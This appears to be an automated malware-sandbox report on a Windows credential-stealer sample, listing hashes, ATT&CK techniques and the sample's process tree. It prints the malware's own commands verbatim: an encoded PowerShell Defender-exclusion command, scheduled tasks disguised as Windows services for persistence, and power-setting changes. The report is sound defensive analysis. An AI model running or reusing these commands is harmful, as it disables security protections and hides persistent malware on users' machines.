3103bfe3683028f5636bedc5dfb165f67b00cb08fa7d7d6d0bc022a280e7b141

Analysis

max time kernel
107s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
25/10/2022, 22:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cd8e811de64b5ac8fd4fdbc0aef185b8.exe
Size 1.3MB
Sample221025-1z2zpseaeq
SHA256 3103bfe3683028f5636bedc5dfb165f67b00cb08fa7d7d6d0bc022a280e7b141
MD5 cd8e811de64b5ac8fd4fdbc0aef185b8
SHA1 4a2ddbdb8334e0c6aaf41a6bf7f4f0fee4f5ff9f
SHA512 7c153910134b7033480d15797917fc8b0b4b97439e41c2c5c637ceae6e5b48c91641097498ef39666f7e232cdbd3c8b6d8dd565b627ce2ee6effe6c8aff00c4d
SSDEEP 24576:IVo7uE0Oab8xook2OoYQYzzK52QbgWC3yNaarmNZS8hDpAj+5ugpUPiSrcw84obs:WMOJAfPVvtTeRdZEHQJfQuB
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery spyware stealer

Malware Config

Signatures

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	ProgramEngine.exe

Executes dropped EXE 1 IoCs

pid	Process
3472	ProgramEngine.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	cd8e811de64b5ac8fd4fdbc0aef185b8.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 15 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3100	schtasks.exe
4080	schtasks.exe
4504	schtasks.exe
4852	schtasks.exe
1164	schtasks.exe
1580	schtasks.exe
3188	schtasks.exe
4856	schtasks.exe
4792	schtasks.exe
1512	schtasks.exe
4392	schtasks.exe
3644	schtasks.exe
4496	schtasks.exe
2968	schtasks.exe
4076	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3168	cd8e811de64b5ac8fd4fdbc0aef185b8.exe
3168	cd8e811de64b5ac8fd4fdbc0aef185b8.exe
3472	ProgramEngine.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	3168	cd8e811de64b5ac8fd4fdbc0aef185b8.exe
Token: SeDebugPrivilege	3472	ProgramEngine.exe
Token: SeDebugPrivilege	3080	powershell.exe
Token: SeShutdownPrivilege	1888	powercfg.exe
Token: SeCreatePagefilePrivilege	1888	powercfg.exe
Token: SeShutdownPrivilege	3556	powercfg.exe
Token: SeCreatePagefilePrivilege	3556	powercfg.exe
Token: SeShutdownPrivilege	4324	powercfg.exe
Token: SeCreatePagefilePrivilege	4324	powercfg.exe
Token: SeShutdownPrivilege	1472	powercfg.exe
Token: SeCreatePagefilePrivilege	1472	powercfg.exe
Token: SeShutdownPrivilege	3132	powercfg.exe
Token: SeCreatePagefilePrivilege	3132	powercfg.exe
Token: SeShutdownPrivilege	3132	powercfg.exe
Token: SeCreatePagefilePrivilege	3132	powercfg.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3168 wrote to memory of 3472	3168	cd8e811de64b5ac8fd4fdbc0aef185b8.exe	88
PID 3168 wrote to memory of 3472	3168	cd8e811de64b5ac8fd4fdbc0aef185b8.exe	88
PID 3168 wrote to memory of 3472	3168	cd8e811de64b5ac8fd4fdbc0aef185b8.exe	88
PID 3472 wrote to memory of 2608	3472	ProgramEngine.exe	91
PID 3472 wrote to memory of 2608	3472	ProgramEngine.exe	91
PID 3472 wrote to memory of 2608	3472	ProgramEngine.exe	91
PID 2608 wrote to memory of 3080	2608	cmd.exe	93
PID 2608 wrote to memory of 3080	2608	cmd.exe	93
PID 2608 wrote to memory of 3080	2608	cmd.exe	93
PID 3472 wrote to memory of 2336	3472	ProgramEngine.exe	94
PID 3472 wrote to memory of 2336	3472	ProgramEngine.exe	94
PID 3472 wrote to memory of 2336	3472	ProgramEngine.exe	94
PID 3472 wrote to memory of 3204	3472	ProgramEngine.exe	96
PID 3472 wrote to memory of 3204	3472	ProgramEngine.exe	96
PID 3472 wrote to memory of 3204	3472	ProgramEngine.exe	96
PID 3472 wrote to memory of 4624	3472	ProgramEngine.exe	97
PID 3472 wrote to memory of 4624	3472	ProgramEngine.exe	97
PID 3472 wrote to memory of 4624	3472	ProgramEngine.exe	97
PID 3472 wrote to memory of 3104	3472	ProgramEngine.exe	98
PID 3472 wrote to memory of 3104	3472	ProgramEngine.exe	98
PID 3472 wrote to memory of 3104	3472	ProgramEngine.exe	98
PID 3472 wrote to memory of 3780	3472	ProgramEngine.exe	100
PID 3472 wrote to memory of 3780	3472	ProgramEngine.exe	100
PID 3472 wrote to memory of 3780	3472	ProgramEngine.exe	100
PID 3472 wrote to memory of 664	3472	ProgramEngine.exe	101
PID 3472 wrote to memory of 664	3472	ProgramEngine.exe	101
PID 3472 wrote to memory of 664	3472	ProgramEngine.exe	101
PID 3472 wrote to memory of 1916	3472	ProgramEngine.exe	103
PID 3472 wrote to memory of 1916	3472	ProgramEngine.exe	103
PID 3472 wrote to memory of 1916	3472	ProgramEngine.exe	103
PID 3472 wrote to memory of 4120	3472	ProgramEngine.exe	107
PID 3472 wrote to memory of 4120	3472	ProgramEngine.exe	107
PID 3472 wrote to memory of 4120	3472	ProgramEngine.exe	107
PID 3472 wrote to memory of 4220	3472	ProgramEngine.exe	109
PID 3472 wrote to memory of 4220	3472	ProgramEngine.exe	109
PID 3472 wrote to memory of 4220	3472	ProgramEngine.exe	109
PID 3472 wrote to memory of 2020	3472	ProgramEngine.exe	114
PID 3472 wrote to memory of 2020	3472	ProgramEngine.exe	114
PID 3472 wrote to memory of 2020	3472	ProgramEngine.exe	114
PID 3472 wrote to memory of 4772	3472	ProgramEngine.exe	110
PID 3472 wrote to memory of 4772	3472	ProgramEngine.exe	110
PID 3472 wrote to memory of 4772	3472	ProgramEngine.exe	110
PID 3472 wrote to memory of 1804	3472	ProgramEngine.exe	111
PID 3472 wrote to memory of 1804	3472	ProgramEngine.exe	111
PID 3472 wrote to memory of 1804	3472	ProgramEngine.exe	111
PID 3472 wrote to memory of 1720	3472	ProgramEngine.exe	116
PID 3472 wrote to memory of 1720	3472	ProgramEngine.exe	116
PID 3472 wrote to memory of 1720	3472	ProgramEngine.exe	116
PID 3472 wrote to memory of 3756	3472	ProgramEngine.exe	117
PID 3472 wrote to memory of 3756	3472	ProgramEngine.exe	117
PID 3472 wrote to memory of 3756	3472	ProgramEngine.exe	117
PID 3472 wrote to memory of 4692	3472	ProgramEngine.exe	119
PID 3472 wrote to memory of 4692	3472	ProgramEngine.exe	119
PID 3472 wrote to memory of 4692	3472	ProgramEngine.exe	119
PID 4624 wrote to memory of 3100	4624	cmd.exe	124
PID 4624 wrote to memory of 3100	4624	cmd.exe	124
PID 4624 wrote to memory of 3100	4624	cmd.exe	124
PID 3204 wrote to memory of 4080	3204	cmd.exe	125
PID 3204 wrote to memory of 4080	3204	cmd.exe	125
PID 3204 wrote to memory of 4080	3204	cmd.exe	125
PID 3780 wrote to memory of 3644	3780	cmd.exe	131
PID 3780 wrote to memory of 3644	3780	cmd.exe	131
PID 3780 wrote to memory of 3644	3780	cmd.exe	131
PID 664 wrote to memory of 4076	664	cmd.exe	126

C:\Users\Admin\AppData\Local\Temp\cd8e811de64b5ac8fd4fdbc0aef185b8.exe
"C:\Users\Admin\AppData\Local\Temp\cd8e811de64b5ac8fd4fdbc0aef185b8.exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3168
- C:\Users\Admin\AppData\Local\Temp\ProgramEngine.exe
  "C:\Users\Admin\AppData\Local\Temp\ProgramEngine.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3472
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C powershell -EncodedCommand "PAAjAFkAUQByAGEAZgBZAE0ARwB3AEYASwBWAFIAeAB1AG8AbwBLAGQAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBwAFQAaAB2AFYAbQB6AGIARQBmAEYAUgB6AGkAagBoAFcAQgBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBEAHoAaQBDAHcAZwBXAGUAdwBPAFAAIwA+ACAAQAAoACAAPAAjAEwAUgBmAEkAUgB2AGsATQBTAHYAQQB1AEcAWgAjAD4AIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAIAA8ACMAaQBOAHkAbgBSAFoAZwBTAEEASABSAHkAdQAjAD4AIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhACkAIAA8ACMAUwBhAEMAbABJAGQAcwBwAFMAYgBCAHEAWgBPACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG0ASQBjAHQAawBrAHgAYQBUAEsAeQB1AEEAcgBvACMAPgA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2608
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "PAAjAFkAUQByAGEAZgBZAE0ARwB3AEYASwBWAFIAeAB1AG8AbwBLAGQAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBwAFQAaAB2AFYAbQB6AGIARQBmAEYAUgB6AGkAagBoAFcAQgBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBEAHoAaQBDAHcAZwBXAGUAdwBPAFAAIwA+ACAAQAAoACAAPAAjAEwAUgBmAEkAUgB2AGsATQBTAHYAQQB1AEcAWgAjAD4AIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAIAA8ACMAaQBOAHkAbgBSAFoAZwBTAEEASABSAHkAdQAjAD4AIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhACkAIAA8ACMAUwBhAEMAbABJAGQAcwBwAFMAYgBCAHEAWgBPACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG0ASQBjAHQAawBrAHgAYQBUAEsAeQB1AEEAcgBvACMAPgA="
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3080
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "SecurityHealthSystray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:2336
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "SecurityHealthSystray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:1580
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefender" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3204
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefender" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:4080
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "WmiPrvSE" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4624
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "WmiPrvSE" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:3100
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareServiceExecutable" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:3104
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareServiceExecutable" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:1164
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "RuntimeBroker" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3780
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "RuntimeBroker" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:3644
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftEdgeUpd" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:664
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftEdgeUpd" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:4076
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "OneDriveService" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:1916
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "OneDriveService" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:4392
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "NvStray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:4120
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "NvStray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:1512
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefenderServices\WindowsDefenderServicesServices_bk557" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:4220
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefenderServices\WindowsDefenderServicesServices_bk557" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:4496
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftUpdateServices\MicrosoftUpdateServicesServices_bk18" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:4772
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftUpdateServices\MicrosoftUpdateServicesServices_bk18" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:2968
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "SettingSysHost\SettingSysHostServices_bk517" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:1804
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "SettingSysHost\SettingSysHostServices_bk517" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:4852
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareSericeExecutable\AntiMalwareSericeExecutableServices_bk488" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:2020
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareSericeExecutable\AntiMalwareSericeExecutableServices_bk488" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:4504
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "Agent Activation Runtime\Agent Activation RuntimeServices_bk249" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:1720
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "Agent Activation Runtime\Agent Activation RuntimeServices_bk249" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:4856
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off & SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRule" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:3756
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg /x -hibernate-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1888
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg /x -hibernate-timeout-dc 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3556
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg /x -standby-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4324
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg /x -standby-timeout-dc 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1472
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg /hibernate off
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3132
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRule" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:4792
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRuntime" /TR "C:\ProgramData\RuntimeBrokerData\RegSvc.exe" /f
    3⤵
    PID:4692
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRuntime" /TR "C:\ProgramData\RuntimeBrokerData\RegSvc.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:3188

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ProgramEngine.exe

Path C:\Users\Admin\AppData\Local\Temp\ProgramEngine.exe
Size 1.3MB
SHA256 39e1976be2648efe7a705658361349dbd94f67b958921de57876d3242fe8560b
MD5 735c9d9cd2eaa7139729810c2ab0aaa4
SHA1 3db1b6cc1e485925b59ca842be6c5844ea39b691
SHA512 311bf3ce770e40556d1cdc886d749a1823cfd651ddbfcc363795de428f007d55b2fc0ddbfb317c0a82999928e46887d622bf7c7aa5192d87656246252a636ba0
SSDEEP 24576:FVo7uE0Oab8xook2OoYQYzzK52QbgWC3yNaarmNZS8hDpAj+5ugpUPiSrcw84obJ:3MFl7TFa2xmselvqHQJfQuBV
MD5 SHA1 SHA512 SSDEEP

Submit Download

ProgramEngine.exe

Path C:\Users\Admin\AppData\Local\Temp\ProgramEngine.exe
Size 1.3MB
SHA256 39e1976be2648efe7a705658361349dbd94f67b958921de57876d3242fe8560b
MD5 735c9d9cd2eaa7139729810c2ab0aaa4
SHA1 3db1b6cc1e485925b59ca842be6c5844ea39b691
SHA512 311bf3ce770e40556d1cdc886d749a1823cfd651ddbfcc363795de428f007d55b2fc0ddbfb317c0a82999928e46887d622bf7c7aa5192d87656246252a636ba0
SSDEEP 24576:FVo7uE0Oab8xook2OoYQYzzK52QbgWC3yNaarmNZS8hDpAj+5ugpUPiSrcw84obJ:3MFl7TFa2xmselvqHQJfQuBV
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/3080-194-0x00000000078C0000-0x00000000078DE000-memory.dmp

Download

memory/3080-154-0x0000000005790000-0x00000000057B2000-memory.dmp

Download

memory/3080-200-0x0000000007D90000-0x0000000007DAA000-memory.dmp

Download

memory/3080-201-0x0000000007CE0000-0x0000000007CE8000-memory.dmp

Download

memory/3080-152-0x0000000002E20000-0x0000000002E56000-memory.dmp

Download

memory/3080-153-0x0000000005A00000-0x0000000006028000-memory.dmp

Download

memory/3080-196-0x0000000007A60000-0x0000000007A7A000-memory.dmp

Download

memory/3080-155-0x0000000006030000-0x0000000006096000-memory.dmp

Download

memory/3080-193-0x000000006FE60000-0x000000006FEAC000-memory.dmp

Download

memory/3080-176-0x0000000006750000-0x000000000676E000-memory.dmp

Download

memory/3080-199-0x0000000007CA0000-0x0000000007CAE000-memory.dmp

Download

memory/3080-192-0x0000000007900000-0x0000000007932000-memory.dmp

Download

memory/3080-195-0x00000000080A0000-0x000000000871A000-memory.dmp

Download

memory/3080-198-0x0000000007CF0000-0x0000000007D86000-memory.dmp

Download

memory/3080-197-0x0000000007AD0000-0x0000000007ADA000-memory.dmp

Download

memory/3168-144-0x0000000011610000-0x0000000011660000-memory.dmp

Download

memory/3168-136-0x000000000F730000-0x000000000F742000-memory.dmp

Download

memory/3168-139-0x00000000105D0000-0x0000000010662000-memory.dmp

Download

memory/3168-138-0x0000000010180000-0x00000000101E6000-memory.dmp

Download

memory/3168-141-0x0000000010DD0000-0x0000000010F92000-memory.dmp

Download

memory/3168-142-0x0000000010FA0000-0x00000000114CC000-memory.dmp

Download

memory/3168-137-0x000000000F790000-0x000000000F7CC000-memory.dmp

Download

memory/3168-140-0x0000000010670000-0x0000000010C14000-memory.dmp

Download

memory/3168-143-0x0000000011680000-0x00000000116F6000-memory.dmp

Download

memory/3168-135-0x000000000FE00000-0x000000000FF0A000-memory.dmp

Download

memory/3168-133-0x00000000022A0000-0x00000000022CA000-memory.dmp

Download

memory/3168-134-0x000000000F7E0000-0x000000000FDF8000-memory.dmp

Download

memory/3168-132-0x00000000022A0000-0x00000000022CA000-memory.dmp

Download

memory/3472-148-0x00000000023A0000-0x0000000002431000-memory.dmp

Download

memory/3472-202-0x00000000023A0000-0x0000000002431000-memory.dmp

Download

memory/3472-149-0x00000000135D0000-0x00000000135DA000-memory.dmp

Download